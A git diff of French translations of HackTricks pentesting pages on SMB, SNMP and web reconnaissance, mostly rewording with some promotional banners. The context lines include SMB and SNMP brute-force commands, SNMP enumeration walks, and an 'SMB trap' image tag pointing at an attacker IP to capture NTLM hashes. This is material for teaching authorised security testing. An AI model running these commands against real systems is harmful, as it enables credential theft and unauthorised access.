**Ceci n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximum de tentatives autorisées**
|
||||
```bash
|
||||
nmap --script smb-brute -p 445 <IP>
|
||||
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
|
||||
|
@ -445,7 +474,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
|
|||
Cette attaque utilise l'outil Responder pour **capturer les sessions d'authentification SMB** sur un réseau interne, et les **relaie** vers une **machine cible**. Si la **session d'authentification réussit**, elle vous donnera automatiquement accès à un **shell système**.\
|
||||
[**Plus d'informations sur cette attaque ici.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
## SMB-Trap
|
||||
## Piège SMB
|
||||
|
||||
La bibliothèque Windows URLMon.dll tente automatiquement de s'authentifier sur l'hôte lorsqu'une page tente d'accéder à un contenu via SMB, par exemple : `img src="\\10.10.10.10\path\image.jpg"`
|
||||
|
||||
|
@ -460,13 +489,13 @@ Qui sont utilisées par certains navigateurs et outils (comme Skype)
|
|||
|
||||
![Source: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
|
||||
|
||||
### SMBTrap utilisant MitMf
|
||||
### Piège SMB utilisant MitMf
|
||||
|
||||
![Source: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
|
||||
|
||||
## Vol de NTLM
|
||||
|
||||
Similaire au Piégeage SMB, le fait de placer des fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant à la hachure NetNTLMv2 d'être interceptée avec un outil tel que Responder. La hachure peut ensuite être craquée hors ligne ou utilisée dans une [attaque de relais SMB](pentesting-smb.md#smb-relay-attack).
|
||||
Similaire au Piège SMB, le fait de placer des fichiers malveillants sur un système cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant à la hachure NetNTLMv2 d'être interceptée avec un outil tel que Responder. La hachure peut ensuite être craquée hors ligne ou utilisée dans une [attaque de relais SMB](pentesting-smb.md#smb-relay-attack).
|
||||
|
||||
[Voir : ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
|
||||
|
||||
|
@ -547,8 +576,8 @@ D'autres façons de soutenir HackTricks :
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -33,8 +33,8 @@ SNMP utilise également le port **162/UDP** pour les **traps**. Ce sont des **pa
|
|||
|
||||
### MIB
|
||||
|
||||
Pour garantir que l'accès SNMP fonctionne entre les fabricants et avec différentes combinaisons client-serveur, la **Base d'Information de Gestion (MIB)** a été créée. MIB est un **format indépendant pour stocker les informations des appareils**. Un MIB est un fichier **textuel** dans lequel tous les **objets SNMP interrogeables** d'un appareil sont répertoriés dans une hiérarchie d'arborescence **standardisée**. Il contient au **moins un `Identifiant d'Objet` (`OID`)**, qui, en plus de l'**adresse unique** nécessaire et d'un **nom**, fournit également des informations sur le type, les droits d'accès et une description de l'objet respectif.\
|
||||
Les fichiers MIB sont écrits dans le format texte ASCII basé sur la `Notation de Syntaxe Abstraite Un` (`ASN.1`). Les **MIB ne contiennent pas de données**, mais ils expliquent **où trouver quelles informations** et à quoi cela ressemble, ce qui renvoie des valeurs pour l'OID spécifique, ou quel type de données est utilisé.
|
||||
Pour garantir que l'accès SNMP fonctionne entre les fabricants et avec différentes combinaisons client-serveur, la **Base d'Information de Gestion (MIB)** a été créée. La MIB est un **format indépendant pour stocker les informations des appareils**. Une MIB est un fichier **textuel** dans lequel tous les **objets SNMP interrogeables** d'un appareil sont répertoriés dans une hiérarchie d'arborescence **standardisée**. Elle contient au **moins un `Identifiant d'Objet` (`OID`)**, qui, en plus de l'**adresse unique** nécessaire et d'un **nom**, fournit également des informations sur le type, les droits d'accès et une description de l'objet respectif.\
|
||||
Les fichiers MIB sont écrits dans le format texte ASCII basé sur la `Notation de Syntaxe Abstraite Un` (`ASN.1`). Les **MIB ne contiennent pas de données**, mais ils expliquent **où trouver quelles informations** et à quoi elles ressemblent, renvoyant des valeurs pour l'OID spécifique, ou quel type de données est utilisé.
|
||||
|
||||
### OIDs
|
||||
|
||||
|
@ -91,7 +91,7 @@ Il existe 2 versions importantes de SNMP :
|
|||
|
||||
### Chaînes de Communauté
|
||||
|
||||
Comme mentionné précédemment, **pour accéder aux informations enregistrées sur le MIB, vous devez connaître la chaîne de communauté sur les versions 1 et 2/2c et les identifiants sur la version 3.**\
|
||||
Comme mentionné précédemment, **pour accéder aux informations enregistrées sur la MIB, vous devez connaître la chaîne de communauté sur les versions 1 et 2/2c et les identifiants sur la version 3.**\
|
||||
Il existe **2 types de chaînes de communauté** :
|
||||
|
||||
* **`public`** principalement des fonctions **en lecture seule**
|
||||
|
@ -123,7 +123,7 @@ download-mibs
|
|||
# Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf
|
||||
sudo vi /etc/snmp/snmp.conf
|
||||
```
|
||||
Si vous connaissez une chaîne communautaire valide, vous pouvez accéder aux données en utilisant **SNMPWalk** ou **SNMP-Check** :
|
||||
Si vous connaissez une chaîne de communauté valide, vous pouvez accéder aux données en utilisant **SNMPWalk** ou **SNMP-Check** :
|
||||
```bash
|
||||
snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot
|
||||
snmpbulkwalk -c public -v2c 10.10.11.136 .
|
||||
|
@ -147,11 +147,11 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
|||
|
||||
**en cours d'exécution** (peut contenir des mots de passe)....
|
||||
|
||||
### **Paramètres dangereux**
|
||||
### **Paramètres Dangereux**
|
||||
|
||||
Dans le domaine de la gestion réseau, certaines configurations et paramètres sont essentiels pour garantir une surveillance et un contrôle complets.
|
||||
|
||||
### Paramètres d'accès
|
||||
### Paramètres d'Accès
|
||||
|
||||
Deux paramètres principaux permettent l'accès à l'**arbre OID complet**, qui est un élément crucial dans la gestion réseau :
|
||||
|
||||
|
@ -166,13 +166,13 @@ Les deux commandes nécessitent une **chaîne communautaire** et l'adresse IP pe
|
|||
|
||||
Une série de **valeurs de Base d'Information de Gestion (MIB)** sont utilisées pour surveiller divers aspects d'un système Windows via SNMP :
|
||||
|
||||
* **Processus système** : Accessible via `1.3.6.1.2.1.25.1.6.0`, ce paramètre permet de surveiller les processus actifs dans le système.
|
||||
* **Programmes en cours d'exécution** : La valeur `1.3.6.1.2.1.25.4.2.1.2` est désignée pour suivre les programmes actuellement en cours d'exécution.
|
||||
* **Chemin des processus** : Pour déterminer d'où s'exécute un processus, la valeur MIB `1.3.6.1.2.1.25.4.2.1.4` est utilisée.
|
||||
* **Unités de stockage** : La surveillance des unités de stockage est facilitée par `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Nom du logiciel** : Pour identifier le logiciel installé sur un système, `1.3.6.1.2.1.25.6.3.1.2` est utilisé.
|
||||
* **Comptes utilisateur** : La valeur `1.3.6.1.4.1.77.1.2.25` permet de suivre les comptes utilisateur.
|
||||
* **Ports locaux TCP** : Enfin, `1.3.6.1.2.1.6.13.1.3` est désigné pour surveiller les ports locaux TCP, fournissant un aperçu des connexions réseau actives.
|
||||
* **Processus Système** : Accessible via `1.3.6.1.2.1.25.1.6.0`, ce paramètre permet de surveiller les processus actifs dans le système.
|
||||
* **Programmes en Cours d'Exécution** : La valeur `1.3.6.1.2.1.25.4.2.1.2` est désignée pour suivre les programmes actuellement en cours d'exécution.
|
||||
* **Chemin des Processus** : Pour déterminer d'où un processus est en cours d'exécution, la valeur MIB `1.3.6.1.2.1.25.4.2.1.4` est utilisée.
|
||||
* **Unités de Stockage** : La surveillance des unités de stockage est facilitée par `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Nom du Logiciel** : Pour identifier le logiciel installé sur un système, `1.3.6.1.2.1.25.6.3.1.2` est utilisé.
|
||||
* **Comptes Utilisateurs** : La valeur `1.3.6.1.4.1.77.1.2.25` permet de suivre les comptes utilisateurs.
|
||||
* **Ports Locaux TCP** : Enfin, `1.3.6.1.2.1.6.13.1.3` est désigné pour surveiller les ports locaux TCP, fournissant un aperçu des connexions réseau actives.
|
||||
|
||||
### Cisco
|
||||
|
||||
|
@ -184,7 +184,7 @@ Consultez cette page si vous utilisez du matériel Cisco :
|
|||
|
||||
## De SNMP à RCE
|
||||
|
||||
Si vous avez la **chaîne** qui vous permet de **écrire des valeurs** dans le service SNMP, vous pourriez l'exploiter pour **exécuter des commandes** :
|
||||
Si vous avez la **chaîne** qui vous permet d'**écrire des valeurs** dans le service SNMP, vous pourriez l'exploiter pour **exécuter des commandes** :
|
||||
|
||||
{% content-ref url="snmp-rce.md" %}
|
||||
[snmp-rce.md](snmp-rce.md)
|
||||
|
@ -242,9 +242,9 @@ S'il existe une ACL qui autorise uniquement certaines adresses IP à interroger
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -286,14 +286,14 @@ Command: hydra -P {Big_Passwordlist} -v {IP} snmp
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons!** (_maîtrise du polonais écrit et parlé requis_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons!** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -49,9 +49,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
|
@ -10,19 +10,19 @@ Autres façons de soutenir HackTricks:
|
|||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Informations de Base
|
||||
|
||||
Le service web est le service le plus **commun et étendu** et de nombreux **types de vulnérabilités différents** existent.
|
||||
Le service web est le service le plus **commun et le plus étendu** et de nombreux **types de vulnérabilités différents** existent.
|
||||
|
||||
**Port par défaut :** 80 (HTTP), 443 (HTTPS)
|
||||
```bash
|
||||
|
@ -51,21 +51,21 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Un **scanner spécialisé** à exécuter (comme wpscan)?
|
||||
* [ ] Lancez des **scanners à usage général**. On ne sait jamais s'ils vont trouver quelque chose ou s'ils vont trouver des informations intéressantes.
|
||||
* [ ] Commencez par les **vérifications initiales**: **robots**, **sitemap**, erreur **404** et analyse **SSL/TLS** (si HTTPS).
|
||||
* [ ] Commencez à **explorer** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres** possibles utilisés. Vérifiez également les **découvertes spéciales**.
|
||||
* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être exploré._
|
||||
* [ ] **Brute-Force des répertoires** : Essayez de forcer le passage à tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**.
|
||||
* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être soumis à un brute force._
|
||||
* [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
|
||||
* [ ] **Brute-Force des paramètres** : Essayez de **trouver des paramètres cachés**.
|
||||
* [ ] Commencez à **spider** la page web: Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres possibles** utilisés. Vérifiez également les **découvertes spéciales**.
|
||||
* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être spideré._
|
||||
* [ ] **Brute-Force des répertoires**: Essayez de forcer le passage à tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**.
|
||||
* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou du spidering, il doit être forcé._
|
||||
* [ ] Vérification des **sauvegardes**: Testez si vous pouvez trouver des **sauvegardes** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
|
||||
* [ ] **Brute-Force des paramètres**: Essayez de **trouver des paramètres cachés**.
|
||||
* [ ] Une fois que vous avez **identifié** tous les **points d'extrémité** possibles acceptant une **entrée utilisateur**, vérifiez tous les types de **vulnérabilités** qui y sont liées.
|
||||
* [ ] [Suivez cette liste de contrôle](../../pentesting-web/web-vulnerabilities-methodology/)
|
||||
|
||||
## Version du serveur (Vulnérable ?)
|
||||
## Version du serveur (Vulnérable?)
|
||||
|
||||
### Identifier
|
||||
|
||||
Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\
|
||||
Les **en-têtes HTTP et les cookies de la réponse** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. Un scan **Nmap** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** pourraient également être utiles.
|
||||
Les **en-têtes HTTP et les cookies de la réponse** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** pourraient également être utiles.
|
||||
```bash
|
||||
whatweb -a 1 <URL> #Stealthy
|
||||
whatweb -a 3 <URL> #Aggresive
|
||||
|
@ -117,18 +117,18 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
|
|||
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Tenez compte du fait que le **même domaine** peut utiliser **différentes technologies** sur **différents ports**, **dossiers** et **sous-domaines**._\
|
||||
Si l'application Web utilise une **technologie/plateforme bien connue** répertoriée précédemment ou **autre**, n'oubliez pas de **rechercher sur Internet** de nouvelles astuces (et faites-le moi savoir!).
|
||||
Si l'application Web utilise une **technologie/plateforme bien connue** répertoriée précédemment ou **autre**, n'oubliez pas de **rechercher sur Internet** de nouvelles astuces (et faites-le moi savoir !).
|
||||
|
||||
### Examen du code source
|
||||
|
||||
Si le **code source** de l'application est disponible sur **github**, en plus de réaliser un **test White box** de l'application par **vous-même**, il y a **des informations** qui pourraient être **utiles** pour le **test Black-Box** actuel :
|
||||
|
||||
* Y a-t-il un fichier **Journal des modifications ou Lisez-moi ou Version** ou toute information de **version accessible** via le web ?
|
||||
* Y a-t-il un fichier **Journal des modifications ou Lisez-moi ou Version** ou tout autre élément avec des **informations de version accessibles** via le web ?
|
||||
* Comment et où sont sauvegardées les **informations d'identification** ? Y a-t-il un fichier (accessible ?) avec des informations d'identification (noms d'utilisateur ou mots de passe) ?
|
||||
* Les **mots de passe** sont-ils en **clair**, **chiffrés** ou quel **algorithme de hachage** est utilisé ?
|
||||
* Les **mots de passe** sont-ils en **texte clair**, **chiffrés** ou quel **algorithme de hachage** est utilisé ?
|
||||
* Utilise-t-il une **clé principale** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ?
|
||||
* Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ?
|
||||
* Y a-t-il des **informations intéressantes dans les problèmes** github (résolus et non résolus) ? Ou dans l'**historique des validations** (peut-être un **mot de passe introduit dans une ancienne validation**) ?
|
||||
* Y a-t-il des **informations intéressantes dans les problèmes** (résolus et non résolus) de github ? Ou dans l'**historique des validations** (peut-être un **mot de passe introduit dans une ancienne validation**) ?
|
||||
|
||||
{% content-ref url="code-review-tools.md" %}
|
||||
[code-review-tools.md](code-review-tools.md)
|
||||
|
@ -152,18 +152,18 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
|||
|
||||
Si un CMS est utilisé, n'oubliez pas d'**exécuter un scanner**, peut-être que quelque chose de juteux est trouvé :
|
||||
|
||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\
|
||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** sites web pour des problèmes de sécurité. (GUI)\
|
||||
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **ou** [**(M)oodle**](moodle.md)\
|
||||
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
- [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat.md)**, Railo, Axis2, Glassfish**\
|
||||
- [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal.md), **Joomla**, **vBulletin** sites web pour des problèmes de sécurité. (GUI)\
|
||||
- [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal.md)**, PrestaShop, Opencart**\
|
||||
- **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal.md) **ou** [**(M)oodle**](moodle.md)\
|
||||
- [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal.md)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
|
||||
```bash
|
||||
cmsmap [-f W] -F -d <URL>
|
||||
wpscan --force update -e --url <URL>
|
||||
joomscan --ec -u <URL>
|
||||
joomlavs.rb #https://github.com/rastating/joomlavs
|
||||
```
|
||||
> À ce stade, vous devriez déjà avoir des informations sur le serveur web utilisé par le client (si des données sont fournies) et quelques astuces à garder à l'esprit pendant le test. Si vous avez de la chance, vous avez même trouvé un CMS et exécuté un scanner.
|
||||
> À ce stade, vous devriez déjà avoir des informations sur le serveur web utilisé par le client (si des données sont fournies) et quelques astuces à garder à l'esprit pendant le test. Si vous avez de la chance, vous avez peut-être même trouvé un CMS et exécuté un scanner.
|
||||
|
||||
## Découverte de l'application Web étape par étape
|
||||
|
||||
|
@ -185,9 +185,9 @@ joomlavs.rb #https://github.com/rastating/joomlavs
|
|||
Les serveurs web peuvent **avoir un comportement inattendu** lorsqu'ils reçoivent des données étranges. Cela peut ouvrir des **vulnérabilités** ou **révéler des informations sensibles**.
|
||||
|
||||
* Accédez à des **pages fictives** comme /whatever\_fake.php (.aspx,.html,.etc)
|
||||
* Ajoutez "\[]", "]]" et "\[\[" dans les valeurs des **cookies** et des **paramètres** pour créer des erreurs
|
||||
* Ajoutez "\[]", "]]", et "\[\[" dans les valeurs des **cookies** et des **paramètres** pour créer des erreurs
|
||||
* Générez une erreur en donnant une entrée comme **`/~randomthing/%s`** à la **fin** de l'**URL**
|
||||
* Essayez des **verbes HTTP** différents comme PATCH, DEBUG ou incorrect comme FAKE
|
||||
* Essayez des **verbes HTTP différents** comme PATCH, DEBUG ou incorrect comme FAKE
|
||||
|
||||
#### **Vérifiez si vous pouvez télécharger des fichiers (**[**verbe PUT, WebDav**](put-method-webdav.md)**)**
|
||||
|
||||
|
